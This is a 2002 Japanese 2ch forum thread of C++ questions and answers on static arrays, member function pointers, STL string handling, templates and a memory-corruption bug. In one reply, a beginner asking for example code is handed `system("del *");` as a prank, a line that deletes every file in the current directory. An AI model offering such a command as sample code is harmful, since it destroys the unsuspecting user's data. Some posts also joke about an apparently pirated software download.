>>624 スレ違いになりつつあるから、別スレに移動してくれ。
626 :
デフォルトの名無しさん :02/06/11 01:28
出来た! でもこれBorland C++ Compiler 5.5が表示してるの?
これ以上は、荒らしと見なして削除依頼出しますよ? とりあえず google 逝け。
勝手に出せば?
629 :
デフォルトの名無しさん :02/06/11 02:20
静的メンバ変数についてなのですが。 初期化時に関数の外(?)で「データ型 クラス名::静的メンバ変数名 = 初期値;」 という方法で初期化しますよね。そこまではコンパイルを通ります。 問題は、静的メンバ変数をさらに配列にした場合なのですが・・・。 どうしてもそこの初期化が通りません。 Class CTest{ public: static int a[3]; } int CTest::a[0] = 0; // ←ここでエラーが出ます。 おおむねこんな感じです。どうかよろしく。
>>629 int CTest::a[3] = {0};
int CTest::a[3] = {0, 1, 2};
リロード忘れてた・・・鬱
>>630 ぐあ、いとも簡単に・・・。ありがとうございました。
便乗質問なのですが、ここで初期化数の数が不定な場合
どう書くべきでしょうか?
#define MAX_NUM 8
int CTest::a[MAX_NUM] = {0,0,0,0,0,0,0,0};
これではちょっと汚いので・・・。
静的メンバなら int CTest::a[3]; で全ての要素が自動的に 0 で埋まると思うんですが、 違いましたっけ。
>>634 正解。
静的変数はコード領域とかに置かれてプログラムイメージの時点で
モジュールに組み込まれてるから初期化済み。
>>634 あ!それでも通りました!
僕のプログラムではintではなくポインタなので
NULLで初期化するのですが、まぁ一緒ですしね。
多分問題なく使えると思います。ありがとうございました。
ローカルでも int a[100] = {0}; で全部0になる。
こんにちわ、はじめまして。現在C++を勉強中なのですが、 C++でマインスイーパ(ファイルに入出力ができて上位10人 が表示される)プログラムがうまくつくれません。どなたか プログラミングに精通されてるかたがいたら教えて下さい。
639 :
デフォルトの名無しさん :02/06/11 09:30
クラスのメンバー関数のポインターを、 構造体の中に入れたいのですが、 構造体の定義は、どうすればよいでしょうか? 例えば、 bool Test::XXX(void); を入れる場合、 typedef struct { ??????? } YYY_ZZZ; ???????はどうしたらよいでしょうか?
>>639 struct S
{
bool (Test::*x)();
};
void f()
{
S s;
s.x = &Test::XXX;
...
Test t;
(t.*s.x)();
...
641 :
デフォルトの名無しさん :02/06/11 10:16
クラスでのvectorの使い方について教えてください。
“クラスでの”vectorの使い方?
643 :
デフォルトの名無しさん :02/06/11 11:41
プログラムは何処に書けばいいの?
メモ帳
645 :
デフォルトの名無しさん :02/06/11 11:51
簡単なプログラム下さい! それ見て勉強したい!
どんな本買ったらいい? 一応x68000のc言語とアセンブラはできるんですけど ちょっと違うだけだろ?
>>645 まじで。メモ帳にかいて、拡張子をcppで保存してコンパイルしる。
system("del *");
if you think C++ is difficult, try English.
651 :
デフォルトの名無しさん :02/06/11 14:19
642さん。 そうです。
>>651 意味不明。もっと具体的に、なにをやりたくてどこが分からないのか書いて。
ハァァア?(゚Д゚)
>>651 質問自体がとんちんかんなんだよ。
>641
クラスでの、で何を限定してるつもりなのか知らんが
vectorの使い方なんてvectorのドキュメントに書かれていることだけだ。
クラスかどうかがどう関係してくると思ってるんだ?
皆さん本格的な夏休みシーズン到来に備えて体力を温存しておきませう
>>647 全角でx68000と書くヤシが68ユーザーとは思えない
657 :
デフォルトの名無しさん :02/06/11 15:15
string型の文字列(小文字)を大文字に変換する一般的な方法を 教えてくだちい.なんかカコイイ方法きぼんぬ c_strでポインタ取得してtoupper()する方法しか思い付かない・・・鬱氏
>>657 charに渡して片端から0x20引いてやればいいじゃん
なんて書く漏れは逝ってきます
ascii文字だけならいいけど日本語が含まれてたりすると また面倒くさそうだ。
c_str()は禁止だろ イテレータで回せ
>>660 イテレータかぁ.なんか重そうなんですけど(ポインタでやった
時と比較して),コンパイル時にポインタ相当の処理に書き換えられる
もんなんでしょうか.
>>661 速い遅い以前に、const char *を書き換えること自体が間違ってる。
>>662 あ,そういうことでしたか.もちろん元のstringからは
読み出すだけにして,新しいstringを作成してそちらに書き込みます.
・・・重いよなぁ
イテレータが重いというのは先入観に過ぎない たいていの場合、コンパイル時に生ポインタ及びそれに近い物に展開される。
>>664 それ聞いて安心しますた.今度gcc -Sしてみます.
string って、ひょっとして operator[ ] でアクセスするより イテレータ使ったほうが速い?
667 :
デフォルトの名無しさん :02/06/11 16:31
ここのヲタク共にはうんざりだぜ! 一生挫折してろよ(w
667=643
669 :
デフォルトの名無しさん :02/06/11 16:59
よくわかったな。 悔しかったら答えてみろよ
std::transformにtoupper放り込むトカ?
>>666 ループが局所的で、しかも複数の配列にアクセスするときは
インクリメント回数が少ないoperator[]のほうが断然速いそうだ。
stringもそうなのかは知らないけど
templateの明示的なインスタンス生成について具体例などありませんか? オブジェクトのサイズが激減するらしく、実装したいのです。
673 :
デフォルトの名無しさん :02/06/11 20:34
>>669 悔しがらせたかったのか?
漏れは別に何とも思わなかったが・・・
てか、おまえはできるのか?
せっかく放置されてたのにかまっちゃいけない。
>>672 たとえばこんな感じ?
[foo.h]
template<class T> class A {
public:
void foo( const T& x );
};
[foo.cpp]
#include "foo.h"
template<class T> void A<T>::foo( const T& x ) { /* …… */ }
template class A<int>;
[main.cpp]
#include "foo.h"
int main()
{
A<int>().foo(1);
}
677 :
デフォルトの名無しさん :02/06/11 21:34
class X { protected: typedef map<string, int, ics_less> valuemap; valuemap value_table;//ここでエラー } のようにするとコンパイル時に無限ループになってしまうのですが、 なぜなってしまうのでしょう。なにかおかしなところがあるのでしょうか。 以下のような文が延々と表示されてしまいます。 c:\program files\microsoft visual studio\vc98\include\map(27) : warning C4786: '??R_Kfn@?$map@V? $basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@HU?$less@V?$basic_string@DU? $char_traits@D@std@@V?$allocator@D@2@@std@@@2@V?$allocator@H@2@@s
>>677 無限ループってことは、コンパイルが終了しない? そんなことには
なっとらんでしょ。たぶん VC++ の FAQ と思われ。「C4786」 で
検索してごらん。
C4786は識別子長いから切った、だっけ?
>>657 日本語は勘弁。
#include <iostream>
#include <string>
#include <algorithm>
using namespace std;
void Toupper(char &c) {
c = toupper(c);
}
int main()
{
string str;
cin >> str;
for_each(str.begin(), str.end(), Toupper);
cout << str;
}
>>680 関数オブジェクト化(笑)
struct Toupper {
void operator()(char &c) {
c = toupper(c);
}
};
...
for_each(str.begin(), str.end(), Toupper());
んなことせんでも、std::ptr_fun(Toupper)でええやん
681 はインライン展開されることを狙ってるのだと思うが。
685 :
デフォルトの名無しさん :02/06/12 01:45
toupper(str.begin(), str.end()); できるかと思ったけどダメですた。
明示的に string()変換関数を呼び出さないとエラーになるのですが、 仕方ないのでしょうか? template <class T> class Wrapper { T value; public: Wrapper(T arg) : value(arg) {} operator typename T() const { return value; } friend ostream &operator<< <T>(ostream &stream, const Wrapper<T> &obj); }; template <class T> ostream &operator<<(ostream &stream, const Wrapper<T> &obj) { stream << obj.value; return stream; } int main() { Wrapper<string> n("abc"); cout << n << endl; cout << string(n) << endl; }
>>689 コンパイラは何を使ったの? g++ 3.0.4 だとちゃんとコンパイルできたけど。
>>690 Borland-C++5.5.1と、gcc2.95.3(MinGW)です。
>>689 テンプレート関数・クラスを前方宣言すると、解決しない?
template <class T> class Wrapper;
template <class T> ostream& operator<<(ostream& stream, const Wrapper<T>& obj);
>>692 ありがとうございます!!無事解決しました!どの本を読んでも書いて
なかったので助かりました(・∀・)
>>693 MinGWでは相変わらずエラー出るじゃん。
wrapper.cpp:14: parse error before `('
wrapper.cpp:14: ANSI C++ forbids declaration `<invalid operator>' with no type
wrapper.cpp: In function `int main()':
wrapper.cpp:30: no matching function for call to `basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::
basic_string (Wrapper<basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> > > &)'
/include/g++-3/std/bastring.h:171: candidates are: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::basic_string()
/include/g++-3/std/bastring.h:172: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::
basic_string(const basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> > &)
/include/g++-3/std/bastring.h:174: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::
basic_string(const basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> > &, unsigned int, unsigned int = basic_string<charT,traits,Allocator>::npos)
/include/g++-3/std/bastring.h:176: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::basic_string(const char *, unsigned int)
/include/g++-3/std/bastring.h:178: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::basic_string(const char *)
/include/g++-3/std/bastring.h:180: basic_string<char,string_char_traits<char>,__default_alloc_template<false,0> >::basic_string(unsigned int, char)
Execution terminated
>>694 たぶん、その 14行目、typename を削除すると通ると思う。
そもそも、こんなとこに typename は不要だよね。
つか、こんなとこに typename って書けるんか?
>>695 本当だね、typenameを削除したら、gccでも通ったね。
2chはすごいね。会社の先輩に聞いても首をひねっていた難問ですた。
697 :
C++初楽者 :02/06/13 04:46
以下のインライン展開について煮詰まっております。 宜しければ皆様のお知恵を拝借させて下さい。 class A { protected: virtual void hage() = 0; public: void hoge() { for( int i = 0; i < 10000000; ++i ) hage(); }; }; class B : public A { protected: virtual hage() { ::GlobalCount++; }; }; B::hage() は Java でいう final でして A::hoge() の内部で B::hage() を インライン展開する B::hoge() を実装しようと模索しております。 しかしながら A::hage() は virtual なため関数呼び出しになってしまい、 今一つうまくいっておりません。 B::hoge() { for( int i = 0; ... ) ::GlobalCount++; } こんな感じで自動的に展開されると嬉しいのですが…。 良い解決法をご存知の方、どうかご教示お願いいたします。
>>698 どうも、レスありがとうございます。
仮想関数は展開されないのはわかっておりますが、
そこをなんとかしたいのでございます。
使いなれないテンプレートなどでどうにかできないものか
悪あがきをしておりますがなかなかうまくいかないものでして…。
>>697 素直にstd::for_each()使え。
>>697 原理的に無理。C++ には final キーワードがない以上
class C : public B
{
protected:
virtual void hage();
};
と定義することも可能で、この場合 C::hoge() の中では C::hage() を呼ぶ必要が
あるでしょ?
// インライン展開したら、これに C のインスタンスが渡されたときに
// 不正な動作をすることになる
void call_hoge(B* p) { p->hoge(); }
目的が 10000000 回 hage() を呼ぶという処理を共有したい (Strategy パターン
を効率よく実装したい) ならテンプレート使うかな。
template <class T>
struct HogeMixin
{
void hoge()
{
for( int i = 0; i < 10000000; ++i )
static_cast<T*>(this)->hage();
}
};
class B : public HogeMixin<B>
{
void hage() { ::GlobalCount++; }
friend struct HogeMixin<B>;
};
皆様、速答速レス誠にありがとうございます。
>>700 多少入り組んでおりまして実際のコードはループではないのですが
見るほどに私のコードは野暮ったいと思っております。(^-^;;
>>701 ありがとうございます。なるほど、素晴らしい手法です。
自らの型を引用してテンプレート…うーん、なるほど…思わず
うなってしまいました。
virtual は…際限無くオーバライドできてしまうので最適化だけの面で
見ると、私のような愚者には自由度がやや高すぎますね。(^-^;;;
701さんの手法は大変クレバーで勉強になりました…!
重ね重ねですが、ありがとうございました。
704 :
デフォルトの名無しさん :02/06/13 06:05
class B : public A { protected: hage() { ::GlobalCount++; }; };
template<class T> class A { protected: virtual void hage() = 0; public: void hoge() { for (int i = 0; i < 10000000; ++i) static_cast<T*>(&this)->hage(); } }; class B : public A<B> { protected: inline void hage() { ::GlobalCount++; }; }
#include<stdio.h> main() { long i; double sum; /*数列の値*/ double a[11]={0.0,1.0,4.0,9.0,16.0,25.0,36.0,49.0,64.0,81.0,100.0,}; sum=0; for(i=0;i<11;i++) { sum += a[i]; } printf("%d\n",sum); } 数列a[0],a[1],・・・,a[10]の和のプログラムなんですけど、配列の中に数字が入ってないみたいなんです。 どこが間違えてるか教えてください。
>>705 コンパイルエラーだって。
それと class 定義の中に書いたメソッドは、暗黙のウチに inline 扱いされるから、
B::hage() の inline 指定は無意味だし、A::hage() を仮想関数にした時点で、たと
え派生クラスにキャストしようが B::hage() はインライン展開されない。
> A::hage() を仮想関数にした時点で、たと > え派生クラスにキャストしようが B::hage() はインライン展開されない。 これは嘘だね。ごめん。
>>706 書き込むスレを間違えてる。C 言語スレだろう。
どうしてもオーバーライドしなきゃいけないの? 俺なら別名の関数をインラインにするけど。
712 :
デフォルトの名無しさん :02/06/13 17:40
try-catchブロックを複数段設置するのはよくないのでしょうか? たとえば、以下のような感じで処理をしたいのですが。 VCの__tryブロックが2段に出来ないので、もしかしたらよくないスタイルなのかな、と思ったり。 try { socket socket; try { socket.connect(~); } catch (apperr&) { } } catch (socketerr&) { }
>>712 必要があれば、全然構わんと思いますが。
そのように処理したいなら、そのようにするしかあるまい。
C++2年目にしてC/C++コメント除去ルーチンを書けた・・・ 感無量
715 :
デフォルトの名無しさん :02/06/13 21:42
void func(const std::string& cmd) { std::string tmp = cmd + "\r\n"; do_exec(tmp.c_str()); } このような書き方をすると、エラーになるのですが間違いなのでしょうか? tmpには一時オブジェクトのコピーが入るはずなので、安全だと思っていたのですが。 ちなみに、 std::string tmp = cmd; tmp += "\r\n";とすると正常に動作するようです。 VC++6.0 STLPort 4.51
>>715 >エラーになるのですが
エラーメッセージ書かないあなたに乾杯。
( ・∀・)/□ □ヽ(^-^ )カンパーイ
Effective C++の34項にあるファイル間の依存をなくす方法が、 実際の大規模プロジェクトで採用に値するものなのか疑問。 規模が大きければそれだけクラスの数も多くなるわけだから、 ハンドルクラスにしろプロトコルクラスにしろ、 支払うコストが膨大になるような気がするんだけど。
>>716 エラーメッセージは出ません。
メモリ破壊が起きているようで、不正終了します。
>>719 恐らく、その部分が悪いのではない。別の所でメモリを破壊したのが影響しただけでは。
>>718 とりあえず pimpl イディオム程度なら、大したコストを掛けずに依存関係を
減らせる。pimpl も使わないと、ほんとに
ヘッダを一行修正したら、
全ファイルをコンパイルし直し
みたいな事態になりかねんので、かなりキツい。
>>720 debug printを入れるだけで発生箇所が変わるので、そのようです。
20MBもあるソースなので、原因特定も困難です(涙
>>720 その意見に一票。
VC6 + STLport なら、ヒープのチェック機能を有効にして、走らせてみれば。
共通ヘッダに
#define _STLP_DEBUG
#define _STLP_MALLOC
#define _CRTDBG_MAP_ALLOC
と書いておいて、さらに main / WinMain 関数の最初で
_CrtSetDbgFlag(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_LEAK_CHECK_DF);
を実行しておく。
下のとおりのソースだけで再現するので、 やっぱり問題のソースのバグではない気がしてきました。 >cl -MD -GX -O1 test.cpp で再現しました。 #include <cstdio> #include <string> void func(const std::string& str) { std::string tmp = str + "\r\n"; std::printf(tmp.c_str()); } main() { func("test"); }
>>724 手元の VC6. SP5 + STLport 4.5.3 だと再現しません。ただ printf() が std 名前空間に
入らんので、コンパイルを通すために、ここだけ書き直しましたが。
考えられるのは STLport の DLL が腐ってるとか、かなぁ。デバッグ情報付きでコンパ
イルして、ステップ実行してみては?
>>724 Borland-C++5.6(STLPort)でも再現しません。きちんと動作します。
>>727-728 どうもです、724のソースだけでは不正終了はしないので、
purifyかBoundsCheckerにかけてください。
ちなみに、static lib版でコンパイルすると正常に行くようです。
>>729 purifyもBoundsCheckerもありませんが、Borland-C++5.6にはCodeGuard
がありますので、それを有効にして走らせてみましたが、エラーは検出
されませんでした。
>>731 ありがとうございました、4.53を落としてフルコンパイルしてもう一度試してみます。
>>718 システムの規模が大きくなってもクラス間の結びつきをできる限り
疎に抑えるような設計をすれば大丈夫。
734 :
デフォルトの名無しさん :02/06/13 23:40
せんせー、 BOOSTのソース読んで極めちゃおうと思ったんですが 全然読めないです。
報告します。結果としてバグは取れました。 STLPort標準のアロケータから、 _STLP_USE_NEWALLOCにアロケータを変更した後、 リビルドするのを忘れていたのが原因でした。 つきあってくれた皆さん、ありがとうございました m(..)m
俺も似たような罠にはまったことある
このスレは良く伸びるなぁ。 みんな勉強熱心なんだね。 俺も頑張ろう。
えっとCの質問になるのですが、 fopenでバイナリでファイルをオープンしてINT型で格納された数値を読み出すとき 私はfread_int(FILE *fp)という関数を作ってその関数の内部でa_temp[4]みたいなchar型で一度読み込んだ後 内部で計算してやってINT型の数値で戻してやるという方法をとっているのですが(^^; もしかしてもっといい方法があるんでしょうか? この関数を見るたんびにもっといい方法があるんじゃないかと心配になるのですが・・・ (ちなみに書きこむときもINT型からchar型に変換して書きこむということをしています)
>>740 freadは普通にintも読めるだろ
つーかスレ違いだ。
>>740 int i;
fread(&i, sizeof(int), 1, fp);
THX
>>741 ,742
なんか過去に
01 23 45 67
みたいなバイナリデータを読み込んだら
intだと0x67452301になるはずなのに
0x01234567ってなったからfreadじゃだめなのかと思ってました(--;
たぶん思い違いなのでさっそく確認してみます。ありがとうでした。
(やはり馬鹿なことしてたんだなぁ・・・)
>>740 そいつについては、little endianの問題が絡んでいるんだろうから、
今すぐintをcharで読むようなやり方はやめるべきです。
最近C++の勉強を始めましたが、以下のプログラムがどういう処理を 行っているのかよく分かりません。どなたか回答をお願い致します。 #include "asn1.h" /* write int in least amount of bytes, return number of bytes */ /* as used in ASN.1 length */ int fmt_asn1length(char* dest,unsigned long l) { /* encoding is either l%128 or (0x80+number of bytes,bytes) */ int needed=(sizeof l); int i; if (l<128) { if (dest) { *dest=l&0x7f; } return 1; } for (i=1; i<needed; ++i) if (!(l>>(i*8))) break; if (dest) { int j=i; *dest=0x80+i; ++dest; while (j) { --j; *dest=((l>>(j*8))&0xff); ++dest; } } return i+1; }
#include "asn1.h" /* write int in least amount of bytes, return number of bytes */ /* as used in ASN.1 length */ int fmt_asn1length(char* dest,unsigned long l) { /* encoding is either l%128 or (0x80+number of bytes,bytes) */ int needed=(sizeof l); int i; if (l<128) { if (dest) *dest=l&0x7f; return 1; } for (i=1; i<needed; ++i) if (!(l>>(i*8))) break; if (dest) { int j=i; *dest=0x80+i; ++dest; while (j) { --j; *dest=((l>>(j*8))&0xff); ++dest; } } return i+1; }
整数変数の容量が余っていたら切り詰めている。ノカ?
ビット演算をしているように思われるんですが、 具体的な処理は分からないです・・・。
>>751 最初の3行のコメントに何もかも書いてある気がするが・・・
753 :
デフォルトの名無しさん :02/06/14 12:01
boost::shared_ptrで、データを所有しているかどうかを問い合わせる ときってどうしてますか? if (ptr.get() != NULL){ // 所持してる場合の作業 } 今まではこうやってましたけど、さっき実験してみたら、 if (ptr){ // 所持してる場合の作業 } でOKみたいなことが分かりました。 ソースを見た感じだとoperator bool_type() が働いてるからみたいですが、 これ、いったいどういう動作をしてるんでしょうか? メンバ関数ポインタを返して???? わけが分かりません。
>>753 ここか?
operator bool_type() const // never throws
{
return px == 0? 0: &this_type::use_count;
}
pxが0なら0、でなければ参照カウンタの値を返してるだけだと思うが。
>>752 もっと具体的に、何をしているのかが知りたいんですよ。
*dest=l&0x7f;とか
*dest=((l>>(j*8))&0xff);とか
あ、すみません。↓が分からないです。 for (i=1; i<needed; ++i) if (!(l>>(i*8))) break;
>>757 はじめ i は 1、i が needed より小さい間 i を増加しつつループ
l を 右に i*8 シフトしたものが 0 ならばループを抜ける。
何か問題でも?
>>759 さん、ありがとうございます。理解できました。
お騒がせ致しまして、どうもすみませんでした。
761 :
デフォルトの名無しさん :02/06/14 14:26
>>754 えーっと、メンバ関数ポインタが帰ってきたら、if文が勝手にメンバ関数を
呼び出して、その戻り値をboolとして判断するために利用するんですか?
そんな呼び出し規約なんて、C++にありましたっけ?
>>761 つーかそのメンバ関数ポインタってどっから来たの?
ファイルストリームをEOFまで読んで また初めからファイルの先頭から読み込みたい場合はどうすればいいんでしょうか
seekg(0)
>>763 ifs.clear(); ifs.seekg(0, std::ios::beg);
ありがとう、好きです。
767 :
761(=753) :02/06/14 19:11
>>762 どっからって……もちろん、shared_ptrの定義から出てきたんですけど。
typedef shared_ptr<T> this_type;
long use_count() const // never throws
{
return pn.use_count();
}
typedef long (this_type::*bool_type)() const;
operator bool_type() const // never throws
{
return px == 0? 0: &this_type::use_count;
}
……メンバ関数ポインタですよね?
こっから、どうやって『参照カウンタの値を返している』んですか?
時々errorみたいな予約語使ってしまう...気をつけねば
769 :
デフォルトの名無しさん :02/06/14 23:11
<iostream>の仕様が知りたいんですが、何かよい資料はありませんか。。
770 :
デフォルトの名無しさん :02/06/14 23:13
演算子のオーバーロードとかって使う??
代入演算子のオーバーロードは無いと困る・・
かなり使う。
禿げ使う
>>767 漏れのbostにはそんなコード無かった(バージョン違いかしら?)けど、
そのコードはメンバ関数のアドレスを返してるだけで、
参照カウンタの値なんか返してないでしょ。
俺のbostにも無いな。
>>775 ヽ(`Д´)ノウワーン
oが一つ多く見えて消しちゃったんだよ(疲れ目?
>>767 2ちゃんのレスなんざ信用するな。自分で確認しる。
何が返されるかなんてちょっとテストコード書けばすぐわかるでしょ。
フィードバックが無い!?・・・
>>769 んじゃこれ見れ > ISO+IEC+14882-1998.pdf
>>774 boost 1.28にはあるよ。
>>761 無い。単純に operator bool() を用意すると shared_ptr<T> → int みたいな
妙な暗黙の変換も成功してしまうので、それを避けるために適当にメンバ関数ポインタを
返してるだけだと思ふ。
>>780 2番目やばすぎるよ。
なんでRoseEEが置いてあるんだよ!
sage
Rational Rose 2000 Enterprise Edition フローティング ¥1,050,000 ノードロック ¥590,000 (゚д゚)ポカーン ((゚д゚)) ((((゚д゚;))))ガクガクブルブル どうしよう・・・これってだれかダウソしたらURL晒した俺に責任あるのかな だってISO+IEC+14882-1998.pdfをググったら勝手に出てきたんだよぉ( ´Д⊂ヽ ラショナルソフトウェアさん、俺は無実です。
787 :
デフォルトの名無しさん :02/06/15 01:57
たいーほ
>>784 漏れは会社で使えるからわざわざおとさん
? ? ? (゚д゚) ? このスレというか、この板と何の関係が
何やら向こうは喧嘩中・・・
あいや、ごめんなさい。バージョンのことを言ってませんでしたね。
1.28での質問なのでした。
>>782 ありがトン。そういうレスが欲しかったの。
で、また疑問なんですですが。
if文にshared_ptrオブジェクトを持ってきたら、このoperator bool_typeに
暗黙の変換が行われて、さらにboolに暗黙の変換が行われるわけですよね。
ってことは、2段階の暗黙の変換が行われるわけですよね……。1段階だけじゃ
なくて2段階も許すって事は、n段階も許すってことになりませんか?
コンパイラは、型変換演算子もしくはimplicitなコンストラクタがある限り、
ずーっと探し回らなくちゃならないっぽいんですけど、このへんは
どうなってるんですか?
『2段階まで』って厳密に決まってんですかね?
>>761 operator bool で返した場合は、shared_ptr → int が暗黙の変換でいけるから危険。
operator ???* で返した場合は、if の中に直接置けて( 0 と比較できて)
???* → int は暗黙の変換はできないから、shared_ptr → int にはできなくなる。
って話しかなぁ。
>>793 > if文にshared_ptrオブジェクトを持ってきたら、このoperator bool_typeに
> 暗黙の変換が行われて、さらにboolに暗黙の変換が行われるわけですよね。
No. 「if( X ) expr」 は、
X==0 でないなら expr を実行して、 X==0 なら expr を実行しない、つーだけだ。
んで、Xがshared_ptr<>だったらコンパイラは、==0できるような型への
変換を探して、よっしゃ operator bool_type() があったぞっつーことで
bool_typeに変えてから ==0 で比較して終わり、だ。boolの出る幕はどこにも無いなり。
>>795 な・る・ほ・どー!
わかりやすい解説、ありがとうございましたっ!
797 :
デフォルトの名無しさん :02/06/15 10:13
あ。
>>797 おまえ朝から何やってんだ?
引きこもり君ですか?
799 :
デフォルトの名無しさん :02/06/15 16:45
ディスク内の指定のセクタの情報を読みに行くにはどうすればいいのでしょうか? どなたか教えてください。
∧ ∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ( ゜Д゜) < ムーンウォークで 800ゲットォォォオオオ!! ./ つ つ \_______________ ~(_⌒ヽ (´⌒(´ .)ノ `J≡≡≡(´⌒;;;≡≡≡ (´⌒(´⌒;; ズザーーーーーッ
801 :
デフォルトの名無しさん :02/06/15 17:14
コンパイル時にはエラーも警告も無いのに実行すると↓こうなります。。。誰かたすけて~ 'C:\WINDOWS\SYSTEM\KERNEL32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。 'C:\WINDOWS\SYSTEM\ADVAPI32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。 'C:\WINDOWS\SYSTEM\GDI32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。 'C:\WINDOWS\SYSTEM\USER32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。 'C:\WINDOWS\SYSTEM\IMM32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。 'C:\WINDOWS\SYSTEM\IMEJP98K.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。 'C:\WINDOWS\SYSTEM\COMCTL32.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。 'C:\WINDOWS\SYSTEM\IMEJP98.IME' をロードしました、合致するシンボル情報は見つかりませんでした。 'C:\WINDOWS\SYSTEM\USBHOOK.DLL' をロードしました、合致するシンボル情報は見つかりませんでした。
805 :
デフォルトの名無しさん :02/06/15 17:25
そうでしたか・・・ あふぉな質問に答えてくれてありがとうございます。。。
806 :
デフォルトの名無しさん :02/06/15 22:50
コンストラクタって普通の関数見たく呼んでもいいのでしょうか。 やってみて大丈夫そうだったんですが、実は問題アリってことは無いでしょうか。
>>806 初期化処理を初期化時以外に呼び出す必要があるのかと小一時間。
いいと思うけど、ソースを見たい。
コンストラクタがいくつかある時、 とりあえず一旦全部のメンバを初期化するコンストラクタを呼ぼうかなと思いまして。 今は初期化関数をそれぞれのコンストラクタから呼んでるんですが、省けるなら省いとこうかなと。
>>809 引数ありのコンストラクタのオーバーロードから引数無しの初期化だけを行うコンストラクタを呼び出すのって乗藤樹団じゃないの
>>806 デストラクタはともかく、そもそもコンストラクタって呼べたっけ? あれは
名前無しで、外から呼び出すのは無理だと思ったけど。
>>810 (常套手段て書いてるんですよね)
そうなんですか。
知らなかったです。どうもでした。
>>810 へ? そんなことできたっけ? どうやって呼び出すのん?
俺も知りたい、できたらすげー便利
Javaならできそうだね。
class A { public: A(); A(int i) { new(this) A(); } }; どうよ?
placementですか?
>>816 hack くさいコードだな…
それ、継承してたりすると、親クラスのコンストラクタが複数回呼ばれて
場合によっては悲劇になったりしない?
(このケースなら素直に A(int i = 0) とかデフォルト値を与えれば終わり
だが、それじゃ済まんケースもあるんだよな)
おとなしく普通の初期化関数を呼ぼうよ。
>>816 それ、終了処理はどうすんの? placement newしたんなら、自前でデストラクタを
呼ばなきゃならないんじゃないの? どこで呼ぶの?
806です。 A() {/*処理*/} A(int i) {A(); /*処理*/} と、こんな感じのコードだったんですが、 継承してると確かに親のコンストラクタを2回呼びますね。気づきませんでした。 今まで通り、初期化関数呼んでおきます。聞いておいて良かったです。どうもでした。
>>817-820 いや、ネタだったんですが。
816のようにするなら普通に非virtualのイニシャライザを呼びます。
>>822 それってAの一時オブジェクトを作ってすぐ破棄してるだけだから
コンストラクタ呼び出しにはならない。
>>821 デストラクタは普通に書けばいい。
勿論、コンストラクタの呼ばれ方を考慮したデストラクタをね。
メモリの再割り当ては起こらないんだから。
825 :
デフォルトの名無しさん :02/06/16 00:16
>>823 なるほど、トレースしてA()が呼ばれてたので、
あ、いける。と思ってしまいました。
呼ばれてたのは一時オブジェクトのコンストラクタだったんですね。
827 :
デフォルトの名無しさん :02/06/16 23:23
std::list< std::string > stringlist; この内容を標準出力に出力するにはどうかきますか? std::copy(stringlist.begin(), stringlist.end(), std::ostream_iterator< std::string >(std::cout); これだと外部シンボルがないとか怒られます。
>>827 最後に ) を補いさえすれば、bcc5.51とgcc2.96ではそのコードで通ったが。
あるいは
using namespace boost::lambda;
std::for_each( stringlist.begin(), stringlist.end(), std::cout<<_1 );
>>827 #include <iterator> を忘れているとか。
>>827 ostream_iterator<string,char>が省けないとか
831 :
デフォルトの名無しさん :02/06/16 23:47
cout << fff() << ggg() << endl; だとggg()が先に呼ばれますが(vc6) これは仕様ですか?
式の中に複数の関数呼び出しが存在した場合、 そのcall順は規定されてないはず。
833 :
デフォルトの名無しさん :02/06/16 23:49
了解しました。
外部シンボルだから、コンパイルは通るけどリンクが通らないって事でしょ。
835 :
デフォルトの名無しさん :02/06/17 02:28
int i = 0; bool b = i++ < i; bにどちらが入るのか規定してないですよね?
>>836 bcc,vc++6 -> 0(false)
g++2.95(cygwin) -> 1(true)
今やってみたらこの結果だったのですが・・・。
>>836 未定義だろう。i++ については
値は i そのもの。結果が得られた後で i はインクリメントされる。
と規定されているだけで「結果を得るタイミング」に関しては、何も言ってない。
最初に二項演算子の前の i++ が評価されるか、それとも後の i が評価される
かで話が変わってくる。
ヽ ̄ ゙̄\
\ ヽ \
ヽ ゙! / ̄ ̄ ̄ ̄ ̄ ̄ ̄
/ |<
>>837 コンパイラや規格がおかしい
/ ,.イ \_______
∠___/ :|`ヽ.、
ノ '! \-、
_,.=''1 ヽ, `'
ヽ'" i| |
! |
規格がおかしいってアンタ… 確かにC/C++の規格はおかしいが。
>>839 そのキャラは、頼むから UNIX 板に隔離しておいてくれ(w
出川必死だな
設計的にはインスタンスを直接持つほうが自然でも、 そのクラスがばかでかかったら、 ポインタにして new & delete したほうがいいんでしょうか? スタック領域よりヒープ領域のほうがサイズでかいですよね? というか、スタック領域のメモリの確保に失敗したらどうなるんだろ・・・。
意味不明。 ばかでかいとは? クラスの占有メモリorクラス定義 ヒープの方がでかいって? スタックの1バイトよりヒープの1バイトの方がでかいとか? スタックの確保に失敗したらcore吐いたりaccess violationで落とされたりOSごと死んだりいろいろ
>>844 > ヒープの方がでかいって?
そのままの意味だと思うが……。
>>843 気にしなくて良いだろ。だいたいクラス定義がどうなってようが、インスタンスを
自動変数で取るか new/delete するかはユーザ次第なんだから。
class Big {
int ary[50 * 1024 * 1024];
};
int main() {
Big b; // たぶん死ぬ
std::auto_ptr<Big> pb(new Big); // たぶん OK
}
>>846 ユーザがどう使おうがヒープに取りたいって話なんでわ?
>>846 さんの例で言うなら、
class Big
{
private:
int *p;
public:
Big() : p( NULL ) { p = new int[50*1024*1024]; }
~Big(){ delete [] p; }
};
こうしようかと迷っていたところです。
